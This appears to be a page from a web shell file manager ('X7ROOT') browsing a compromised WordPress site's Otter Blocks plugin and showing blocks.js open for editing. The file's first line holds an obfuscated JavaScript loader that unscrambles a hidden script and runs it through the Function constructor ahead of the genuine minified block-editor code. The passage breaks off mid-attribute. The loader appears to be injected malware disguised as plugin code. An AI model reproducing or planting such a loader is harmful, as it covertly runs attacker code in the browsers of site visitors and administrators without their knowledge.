X7ROOT File Manager
Current Path:
/home/hamdjcne/public_html/wp-content/plugins/otter-blocks/build/blocks
home
/
hamdjcne
/
public_html
/
wp-content
/
plugins
/
otter-blocks
/
build
/
blocks
/
ðŸ“
..
ðŸ“
about-author
ðŸ“
accordion
ðŸ“
accordion-item
📄
accordion.asset.php
(84 B)
📄
accordion.js
(10.43 KB)
ðŸ“
advanced-column
ðŸ“
advanced-columns
ðŸ“
advanced-heading
📄
blocks.asset.php
(421 B)
📄
blocks.js
(1.22 MB)
ðŸ“
button
ðŸ“
button-group
ðŸ“
circle-counter
📄
circle-counter.asset.php
(84 B)
📄
circle-counter.js
(12 KB)
ðŸ“
content-generator
ðŸ“
countdown
📄
countdown.asset.php
(84 B)
📄
countdown.js
(14.44 KB)
📄
editor.css
(40.63 KB)
ðŸ“
flip
ðŸ“
font-awesome-icons
ðŸ“
form
ðŸ“
form-file
ðŸ“
form-hidden-field
ðŸ“
form-input
ðŸ“
form-multiple-choice
ðŸ“
form-nonce
ðŸ“
form-stripe-field
ðŸ“
form-textarea
📄
form.asset.php
(84 B)
📄
form.js
(20.69 KB)
ðŸ“
google-map
ðŸ“
icon-list
ðŸ“
icon-list-item
📄
leaflet-gesture-handling.asset.php
(84 B)
📄
leaflet-gesture-handling.js
(26.87 KB)
ðŸ“
leaflet-map
📄
leaflet-map.asset.php
(84 B)
📄
leaflet-map.js
(11.4 KB)
📄
live-search-style.asset.php
(84 B)
📄
live-search-style.css
(1.7 KB)
📄
live-search-style.js
(9.18 KB)
📄
live-search.asset.php
(84 B)
📄
live-search.js
(17.73 KB)
ðŸ“
lottie
📄
lottie.asset.php
(84 B)
📄
lottie.js
(10.76 KB)
📄
maps.asset.php
(84 B)
📄
maps.js
(19.26 KB)
📄
masonry.asset.php
(84 B)
📄
masonry.js
(10.15 KB)
ðŸ“
plugin-cards
ðŸ“
popup
📄
popup.asset.php
(84 B)
📄
popup.js
(12.67 KB)
ðŸ“
posts-grid
ðŸ“
pricing
ðŸ“
progress-bar
📄
progress-bar.asset.php
(84 B)
📄
progress-bar.js
(11.79 KB)
ðŸ“
review
ðŸ“
service
ðŸ“
sharing-icons
ðŸ“
slider
📄
slider.asset.php
(84 B)
📄
slider.js
(10.92 KB)
📄
sticky.asset.php
(84 B)
📄
sticky.js
(20.7 KB)
ðŸ“
stripe-checkout
ðŸ“
tabs
ðŸ“
tabs-item
📄
tabs.asset.php
(84 B)
📄
tabs.js
(11.22 KB)
ðŸ“
testimonials
📄
vendor.asset.php
(84 B)
📄
vendor.js
(96.28 KB)
Editing: blocks.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();!function(){"use strict";var e,t={2057:function(e,t,l){var o=l(5736),a=l(4981),n=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/accordion","title":"Accordion","category":"themeisle-blocks","description":"Vertically collapsing accordions perfect for displaying your FAQs. Powered by Otter.","keywords":["accordions","collapse","faq"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"FAQSchema":{"type":"boolean"},"gap":{"type":["string","number"]},"titleColor":{"type":"string"},"titleBackground":{"type":"string"},"contentBackground":{"type":"string"},"borderColor":{"type":"string"},"borderWidth":{"type":"string"},"isSynced":{"type":"array"},"fontFamily":{"type":"string"},"fontVariant":{"type":"string"},"fontStyle":{"type":"string"},"textTransform":{"type":"string"},"fontSize":{"type":"number"},"letterSpacing":{"type":"string"},"padding":{"type":"object"},"paddingTablet":{"type":"object"},"paddingMobile":{"type":"object"},"tag":{"type":"string"},"alwaysOpen":{"type":"boolean"},"boxShadow":{"type":"object","default":{"active":false,"colorOpacity":50,"blur":5,"spread":1,"horizontal":0,"vertical":0}},"iconFirst":{"type":"boolean","default":false},"activeTitleColor":{"type":"string"},"activeTitleBackground":{"type":"string"},"activeContentBackground":{"type":"string"},"icon":{"type":"object"},"openItemIcon":{"type":"object"}},"supports":{"html":false},"editorStyle":"otter-accordion-editor","style":"otter-accordion-style","script":"otter-accordion"}'),r=l(340),i=l(9196),s=l(3967),c=l.n(s),d=l(2154),u=l(2175),b=l(9307),m=l(9818),p=l(5609),g=l(8189),h=l(4715),k=l(6206),y=l(5225);const f=[{label:(0,o.__)("Default","otter-blocks"),value:"default"},{label:(0,o.__)("Boxed","otter-blocks"),value:"boxed",isDefault:!0}],v={narrow:5,wide:10,wider:20};var _=({clientId:e,attributes:t,setAttributes:l,getValue:a})=>{const[n,r]=(0,y.useTabSwitch)(t.id,"settings"),s=[{label:(0,o.__)("Title","otter-blocks"),slug:"titleColor",value:a("titleColor")},{label:(0,o.__)("Active Tab Title","otter-blocks"),slug:"activeTitleColor",value:a("activeTitleColor")},{label:(0,o.__)("Title Background","otter-blocks"),slug:"titleBackground",value:a("titleBackground")},{label:(0,o.__)("Active Tab Title Background","otter-blocks"),slug:"activeTitleBackground",value:a("activeTitleBackground")},{label:(0,o.__)("Content Background","otter-blocks"),slug:"contentBackground",value:a("contentBackground")},{label:(0,o.__)("Border","otter-blocks"),slug:"borderColor",value:a("borderColor")}],{responsiveSetAttributes:c,responsiveGetAttributes:d}=(0,k.Y)(l);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:n,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:r}),"settings"===n&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Place Icon on Left","otter-blocks"),checked:t.iconFirst,onChange:e=>l({iconFirst:e})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Keep Multiple Items Expanded","otter-blocks"),help:(0,o.__)("When enabled, multiple accordion items can be expanded at the same time","otter-blocks"),checked:t.alwaysOpen||!1,onChange:t=>{l({alwaysOpen:t}),!0!==t&&(0,m.select)("core/block-editor").getBlocksByClientId(e)[0].innerBlocks.forEach((e=>{(0,m.dispatch)("core/block-editor").updateBlockAttributes(e.clientId,{initialOpen:!1})}))}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Enable FAQ Schema","otter-blocks"),checked:t.FAQSchema||!1,onChange:e=>l({FAQSchema:e})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Accordion title HTML tag","otter-blocks"),value:t.tag||"div",options:[{label:(0,o.__)("H1","otter-blocks"),value:"h1"},{label:(0,o.__)("H2","otter-blocks"),value:"h2"},{label:(0,o.__)("H3","otter-blocks"),value:"h3"},{label:(0,o.__)("H4","otter-blocks"),value:"h4"},{label:(0,o.__)("H5","otter-blocks"),value:"h5"},{label:(0,o.__)("H6","otter-blocks"),value:"h6"},{label:(0,o.__)("div","otter-blocks"),value:"div"}],onChange:t=>{(0,m.select)("core/block-editor").getBlocksByClientId(e)[0].innerBlocks.forEach((e=>{(0,m.dispatch)("core/block-editor").updateBlockAttributes(e.clientId,{tag:t})})),l({tag:t})}})),(0,i.createElement)(g.p,null)),"style"===n&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Style","otter-blocks")},(0,i.createElement)(g.Lp,{options:f,value:(0,h.tB)(f,t?.className),onChange:e=>{const o=(0,h.L4)(t?.className,f,e);l({className:o})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Title Typography","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{value:t.fontSize,fontSizes:[{name:(0,o.__)("Extra Small","otter-blocks"),slug:"extra-small",size:14},{name:(0,o.__)("Small","otter-blocks"),slug:"small",size:16},{name:(0,o.__)("Medium","otter-blocks"),slug:"medium",size:18},{name:(0,o.__)("Large","otter-blocks"),slug:"large",size:24},{name:(0,o.__)("Extra Large","otter-blocks"),slug:"extra-large",size:28}],onChange:e=>l({fontSize:e})}),(0,i.createElement)(g.o2,{label:(0,o.__)("Font Family","otter-blocks"),value:t.fontFamily,onChangeFontFamily:e=>{l(e?{fontFamily:e,fontVariant:"normal",fontStyle:"normal"}:{fontFamily:e,fontVariant:e})},valueVariant:t.fontVariant,onChangeFontVariant:e=>l({fontVariant:e}),valueStyle:t.fontStyle,onChangeFontStyle:e=>l({fontStyle:e}),valueTransform:t.textTransform,onChangeTextTransform:e=>l({textTransform:e})}),(0,i.createElement)(g.Cd,{values:["fontFamily","fontVariant","fontStyle","textTransform"],setAttributes:l}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Letter Spacing","otter-blocks"),value:t.letterSpacing,onChange:e=>l({letterSpacing:e}),min:-50,max:100,allowReset:!0})),(0,i.createElement)(g._X,{label:(0,o.__)("Color","otter-blocks"),isSynced:t.isSynced,options:s,setAttributes:l},(0,i.createElement)(u.ContrastChecker,{textColor:a("titleColor"),backgroundColor:a("titleBackground")}),(0,i.createElement)(u.ContrastChecker,{textColor:a("activeTitleColor"),backgroundColor:a("activeTitleBackground")})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:d([t.padding,t.paddingTablet,t.paddingMobile]),onChange:e=>c(e,["padding","paddingTablet","paddingMobile"])})),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Gap Between Panels","otter-blocks"),value:"string"==typeof t.gap?v[t.gap]:t.gap,onChange:e=>l({gap:e}),allowReset:!0})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Icons","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.m3,{label:(0,o.__)("Closed Item Icon","otter-blocks"),library:"fontawesome",prefix:t.icon?.prefix,icon:t.icon?.name,allowThemeisleIcons:!1,onChange:e=>l({icon:e})}),(0,i.createElement)(g.m3,{label:(0,o.__)("Open Item Icon","otter-blocks"),library:"fontawesome",prefix:t.openItemIcon?.prefix,icon:t.openItemIcon?.name,allowThemeisleIcons:!1,onChange:e=>l({openItemIcon:e})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.__experimentalUnitControl,{label:(0,o.__)("Width","otter-blocks"),value:t.borderWidth,units:[{value:"px",label:"px"},{value:"em",label:"em"},{value:"rem",label:"rem"},{value:"vw",label:"vw"},{value:"vh",label:"vh"}],onChange:e=>l({borderWidth:e})}),(0,i.createElement)(g.I7,{boxShadow:t.boxShadow,onChange:e=>{const o={...t.boxShadow};Object.entries(e).map((([t,l]=e)=>{o[t]=l})),l({boxShadow:o})}}))))},C=({buttonText:e=(0,o.__)("Add Item"),clientId:t,allowedBlock:l,...n})=>{const{insertBlock:r}=(0,m.useDispatch)("core/block-editor"),{getBlock:s}=(0,m.useSelect)((e=>e("core/block-editor")),[]),{className:d,...u}=n;return(0,i.createElement)(p.Button,{onClick:()=>{const{innerBlocks:e}=s(t),o=(0,a.createBlock)(l);r(o,e.length,t)},className:c()("o-block-appender-button",d),...u},e)},w=l(4824);const{attributes:E}=n,x={fas:"Font Awesome 5 Free",far:"Font Awesome 5 Free",fal:"Font Awesome 5 Free",fab:"Font Awesome 5 Brands"};const{name:S}=n;(0,a.registerBlockType)(S,{...n,title:(0,o.__)("Accordion","otter-blocks"),description:(0,o.__)("Vertically collapsing accordions perfect for displaying your FAQs. Powered by Otter.","otter-blocks"),icon:r.accordionIcon,keywords:["accordions","collapse","faq"],edit:({name:e,attributes:t,setAttributes:l,clientId:a,isSelected:n})=>{(0,b.useEffect)((()=>{d.Z.attach();const e=(0,y.blockInit)(a,E);return()=>e(t.id)}),[t.id]);const r=(0,m.useSelect)((e=>e("core/block-editor").getBlocksByClientId(a)[0].innerBlocks));(0,b.useEffect)((()=>{void 0===t.alwaysOpen&&l({alwaysOpen:1<r.filter((e=>!0===e.attributes.initialOpen)).length})}),[]);const s=l=>(0,y.getDefaultValueByField)({name:e,field:l,defaultAttributes:E,attributes:t}),p={"--title-color":s("titleColor"),"--title-background":s("titleBackground"),"--content-background":s("contentBackground"),"--border-color":s("borderColor"),"--border-width":s("borderWidth"),"--box-shadow":t.boxShadow.active&&`${t.boxShadow.horizontal}px ${t.boxShadow.vertical}px ${t.boxShadow.blur}px ${t.boxShadow.spread}px ${(0,h.rW)(t.boxShadow.color,t.boxShadow.colorOpacity)}`,"--padding":(0,h.bv)(t.padding,{top:"18px",right:"24px",bottom:"18px",left:"24px"}),"--padding-tablet":(0,h.bv)(t.paddingTablet,{top:"18px",right:"24px",bottom:"18px",left:"24px"}),"--padding-mobile":(0,h.bv)(t.paddingMobile,{top:"18px",right:"24px",bottom:"18px",left:"24px"}),"--gap":(0,h.Yj)(t.gap)},[g,f]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{f([`> * > * > .wp-block-themeisle-blocks-accordion-item .wp-block-themeisle-blocks-accordion-item__title > * {\n\t\t\t\t${t.fontSize?"font-size:"+(0,h.Yj)(t.fontSize):""};\n\t\t\t\t${t.fontFamily?"font-family:"+t.fontFamily:""};\n\t\t\t\t${t.fontVariant?"font-variant:"+t.fontVariant:""};\n\t\t\t\t${t.fontStyle?"font-style:"+t.fontStyle:""};\n\t\t\t\t${t.textTransform?"text-transform:"+t.textTransform:""};\n\t\t\t\t${t.letterSpacing?"letter-spacing:"+(0,h.Yj)(t.letterSpacing):""};\n\t\t\t}`])}),[t.fontSize,t.fontFamily,t.fontVariant,t.fontStyle,t.textTransform,t.letterSpacing]);const[v,S]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{const e=s("icon"),t=s("openItemIcon");S([...e?[`> * > * > .wp-block-themeisle-blocks-accordion-item:not(.is-open) > .wp-block-themeisle-blocks-accordion-item__title::after {\n\t\t\t\tcontent: "\\${w[e.name].unicode}" !important;\n\t\t\t\tfont-family: "${x[e.prefix]}" !important;\n\t\t\t\tfont-weight: ${"fas"!==e.prefix?"400":"900"}\n\t\t\t}`]:[],...t?[`> * > * > .wp-block-themeisle-blocks-accordion-item.is-open > .wp-block-themeisle-blocks-accordion-item__title::after {\n\t\t\t\tcontent: "\\${w[t.name].unicode}" !important;\n\t\t\t\tfont-family: "${x[t.prefix]}" !important;\n\t\t\t\tfont-weight: ${"fas"!==t.prefix?"400":"900"}\n\t\t\t}`]:[]])}),[t.icon,t.openItemIcon]);const[T,B]=(0,y.useCSSNode)();(0,b.useEffect)((()=>{const e=s("activeTitleColor"),t=s("activeTitleBackground");B([...e?[`> * > * > .wp-block-themeisle-blocks-accordion-item.is-open > .wp-block-themeisle-blocks-accordion-item__title {\n\t\t\t\t--title-color: ${e};\n\t\t\t}`]:[],...t?[`> * > * > .wp-block-themeisle-blocks-accordion-item.is-open > .wp-block-themeisle-blocks-accordion-item__title {\n\t\t\t\t--title-background: ${t};\n\t\t\t}`]:[]])}),[t.activeTitleColor,t.activeTitleBackground]),(0,b.useEffect)((()=>{t.fontFamily&&d.Z.loadFontToBrowser(t.fontFamily,t.fontVariant)}),[t.fontFamily]),(0,k.W)(s("titleBackground"),t,l,"has-dark-title-bg","has-light-title-bg"),(0,k.W)(s("activeTitleBackground"),t,l,"has-dark-active-title-bg","has-light-active-title-bg"),(0,k.W)(s("contentBackground"),t,l,"has-dark-content-bg","has-light-content-bg");const M=(0,u.useBlockProps)({id:t.id,className:c()({[v]:v,[T]:T,[g]:g,[`is-${t.gap}-gap`]:"string"==typeof t.gap,"no-gap":0===t.gap,"has-gap":"string"!=typeof t.gap&&0<t.gap,"icon-first":t.iconFirst,"has-icon":!!t.icon,"has-open-icon":!!t.openItemIcon}),style:p});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(_,{clientId:a,attributes:t,setAttributes:l,getValue:s}),(0,i.createElement)("div",{...M},(0,i.createElement)(u.InnerBlocks,{allowedBlocks:["themeisle-blocks/accordion-item"],template:[["themeisle-blocks/accordion-item",{title:(0,o.__)("Accordion title 1","otter-blocks")}],["themeisle-blocks/accordion-item",{title:(0,o.__)("Accordion title 2","otter-blocks")}]],renderAppender:n?()=>(0,i.createElement)(C,{buttonText:(0,o.__)("Add Accordion Item","otter-blocks"),variant:"primary",allowedBlock:"themeisle-blocks/accordion-item",clientId:a}):void 0})))},save:({attributes:e})=>{const t=u.useBlockProps.save({id:e.id,"data-has-schema":e.FAQSchema,className:c()({exclusive:!1===e.alwaysOpen,[`is-${e.gap}-gap`]:e.gap&&"string"==typeof e.gap,"no-gap":0===e.gap,"has-gap":e.gap&&"string"!=typeof e.gap&&0!==e.gap,"icon-first":e.iconFirst,"has-icon":!!e.icon,"has-open-icon":!!e.openItemIcon})});return(0,i.createElement)("div",{...t},(0,i.createElement)(u.InnerBlocks.Content,null))},example:{attributes:{},innerBlocks:[{name:"themeisle-blocks/accordion-item",attributes:{initialOpen:!0,title:(0,o.__)("Accordion Item","otter-blocks")},innerBlocks:[{name:"core/paragraph",attributes:{customFontSize:48,content:"Lorem ipsum dolor sit amet, eu liber saperet est. Recusabo volutpat has ne, sed dicit eruditi detraxit ut, modus ancillae mei eu.",align:"left"}}]}]}});var T=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/accordion-item","title":"Accordion Item","category":"themeisle-blocks","description":"Vertically collapsing accordions perfect for displaying your FAQs. Powered by Otter.","keywords":["accordions","collapse","faq"],"parent":["themeisle-blocks/accordion"],"textdomain":"otter-blocks","attributes":{"title":{"type":"string"},"initialOpen":{"type":"boolean","default":false},"tag":{"type":"string"}},"supports":{"reusable":false}}'),B=({clientId:e,attributes:t,setAttributes:l})=>(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Initially Open","otter-blocks"),checked:t.initialOpen,onChange:t=>{if(l({initialOpen:t}),!t)return;const o=(0,m.select)("core/block-editor")?.getBlockParents(e).at(-1),a=(0,m.select)("core/block-editor")?.getBlock(o);a?.attributes.alwaysOpen||a?.innerBlocks?.forEach((t=>{t.clientId!==e&&(0,m.dispatch)("core/editor")?.updateBlockAttributes(t.clientId,{initialOpen:!1})}))}})));const{name:M}=T;(0,a.registerBlockType)(M,{...T,title:(0,o.__)("Accordion Item","otter-blocks"),description:(0,o.__)("Vertically collapsing accordions perfect for displaying your FAQs. Powered by Otter.","otter-blocks"),icon:r.accordionItemIcon,keywords:["accordions","collapse","faq"],edit:({clientId:e,attributes:t,setAttributes:l})=>{const[a,n]=(0,b.useState)(!0);return(0,b.useEffect)((()=>{if(void 0===t.title){const t=(0,m.select)("core/block-editor").getBlockParents(e).at(-1),a=(0,m.select)("core/block-editor").getBlock(t);l({title:(0,o.__)("Accordion item ","otter-blocks")+a.innerBlocks.length})}}),[]),(0,i.createElement)(b.Fragment,null,(0,i.createElement)(B,{clientId:e,attributes:t,setAttributes:l}),(0,i.createElement)("div",{...(0,u.useBlockProps)({className:c()({"is-open":a})})},(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-accordion-item__title",onClick:e=>{"string"==typeof e.target.className&&e.target.className.includes("block-editor-rich-text__editable")?n(!0):n(!a)}},(0,i.createElement)(u.RichText,{value:t.title,onChange:e=>{a||n(!0),l({title:e})},tagName:t.tag||"div"})),a&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-accordion-item__content"},(0,i.createElement)(u.InnerBlocks,{template:[["core/paragraph",{content:(0,o.__)("This is a placeholder tab content. It is important to have the necessary information in the block, but at this stage, it is just a placeholder to help you visualise how the content is displayed. Feel free to edit this with your actual content.","otter-blocks")}]]}))))},save:({attributes:e})=>{const t=u.useBlockProps.save({open:!!e.initialOpen});return(0,i.createElement)("details",{...t},(0,i.createElement)("summary",{className:"wp-block-themeisle-blocks-accordion-item__title"},(0,i.createElement)(u.RichText.Content,{tagName:e.tag||"div",value:e.title})),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-accordion-item__content"},(0,i.createElement)(u.InnerBlocks.Content,null)))}});var P=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/advanced-heading","title":"Advanced Heading","category":"themeisle-blocks","description":"Advanced Heading gives a spin to editor\'s Heading block with much needed customization options. Powered by Otter.","keywords":["heading","title","advanced heading"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"content":{"type":"string","source":"html","selector":"h1,h2,h3,h4,h5,h6,div,p,span","default":""},"tag":{"default":"h2","type":"string"},"align":{"type":"string"},"alignTablet":{"type":"string"},"alignMobile":{"type":"string"},"headingColor":{"type":"string"},"highlightColor":{"type":"string"},"highlightBackground":{"type":"string"},"fontSize":{"type":["number","string"]},"fontSizeTablet":{"type":["number","string"]},"fontSizeMobile":{"type":["number","string"]},"fontFamily":{"type":"string"},"fontVariant":{"type":"string"},"fontStyle":{"type":"string"},"textTransform":{"type":"string"},"lineHeight":{"type":["number","string"]},"letterSpacing":{"type":["number","string"]},"textShadow":{"type":"boolean","default":false},"textShadowColor":{"type":"string","default":"#000000"},"textShadowColorOpacity":{"type":"number","default":50},"textShadowBlur":{"type":"number","default":5},"textShadowHorizontal":{"type":"number","default":0},"textShadowVertical":{"type":"number","default":0},"paddingType":{"type":"string"},"paddingTypeTablet":{"type":"string"},"paddingTypeMobile":{"type":"string"},"padding":{"type":["number","object"]},"paddingTablet":{"type":["number","object"]},"paddingMobile":{"type":["number","object"]},"paddingTop":{"type":"number","default":0},"paddingTopTablet":{"type":"number"},"paddingTopMobile":{"type":"number"},"paddingRight":{"type":"number"},"paddingRightTablet":{"type":"number"},"paddingRightMobile":{"type":"number"},"paddingBottom":{"type":"number"},"paddingBottomTablet":{"type":"number"},"paddingBottomMobile":{"type":"number"},"paddingLeft":{"type":"number"},"paddingLeftTablet":{"type":"number"},"paddingLeftMobile":{"type":"number"},"marginType":{"type":"string"},"marginTypeTablet":{"type":"string"},"marginTypeMobile":{"type":"string"},"margin":{"type":["number","object"]},"marginTablet":{"type":["number","object"]},"marginMobile":{"type":["number","object"]},"marginTop":{"type":"number"},"marginTopTablet":{"type":"number"},"marginTopMobile":{"type":"number"},"marginBottom":{"type":"number"},"marginBottomTablet":{"type":"number"},"marginBottomMobile":{"type":"number"},"backgroundColor":{"type":"string"},"linkColor":{"type":"string"},"linkHoverColor":{"type":"string"}},"editorStyle":"otter-advanced-heading-editor","style":"otter-advanced-heading-style"}'),z=l(6713),F=l(2629);const R="themeisle-blocks/highlight";(0,F.registerFormatType)(R,{name:R,title:(0,o.__)("Highlight","otter-blocks"),tagName:"span",className:"highlight",edit:({isActive:e,value:t,onChange:l})=>{const a=()=>l((0,F.toggleFormat)(t,{type:R}));return(0,i.createElement)(b.Fragment,null,(0,i.createElement)(u.RichTextShortcut,{type:"primary",character:"h",onUse:a}),(0,i.createElement)(u.RichTextToolbarButton,{icon:z.Z,title:(0,o.__)("Highlight","otter-blocks"),onClick:a,isActive:e,shortcutType:"access",shortcutCharacter:"h"}))}});var L=l(80),O=l.n(L);const I=[{attributes:{id:{type:"string"},content:{type:"string",source:"html",selector:"h1,h2,h3,h4,h5,h6,div,p,span",default:""},tag:{default:"h2",type:"string"},align:{type:"string"},alignTablet:{type:"string"},alignMobile:{type:"string"},headingColor:{type:"string",default:"#000000"},highlightColor:{type:"string"},highlightBackground:{type:"string"},fontSize:{type:"number"},fontSizeTablet:{type:"number"},fontSizeMobile:{type:"number"},fontFamily:{type:"string"},fontVariant:{type:"string"},fontStyle:{type:"string",default:"normal"},textTransform:{type:"string",default:"none"},lineHeight:{type:"number"},letterSpacing:{type:"number"},textShadow:{type:"boolean",default:!1},textShadowColor:{type:"string",default:"#000000"},textShadowColorOpacity:{type:"number",default:50},textShadowBlur:{type:"number",default:5},textShadowHorizontal:{type:"number",default:0},textShadowVertical:{type:"number",default:0},paddingType:{type:"string",default:"linked"},paddingTypeTablet:{type:"string",default:"linked"},paddingTypeMobile:{type:"string",default:"linked"},padding:{type:"number",default:0},paddingTablet:{type:"number",default:0},paddingMobile:{type:"number",default:0},paddingTop:{type:"number",default:0},paddingTopTablet:{type:"number",default:0},paddingTopMobile:{type:"number",default:0},paddingRight:{type:"number",default:0},paddingRightTablet:{type:"number",default:0},paddingRightMobile:{type:"number",default:0},paddingBottom:{type:"number",default:0},paddingBottomTablet:{type:"number",default:0},paddingBottomMobile:{type:"number",default:0},paddingLeft:{type:"number",default:0},paddingLeftTablet:{type:"number",default:0},paddingLeftMobile:{type:"number",default:0},marginType:{type:"string",default:"unlinked"},marginTypeTablet:{type:"string",default:"unlinked"},marginTypeMobile:{type:"string",default:"unlinked"},margin:{type:"number",default:0},marginTablet:{type:"number",default:0},marginMobile:{type:"number",d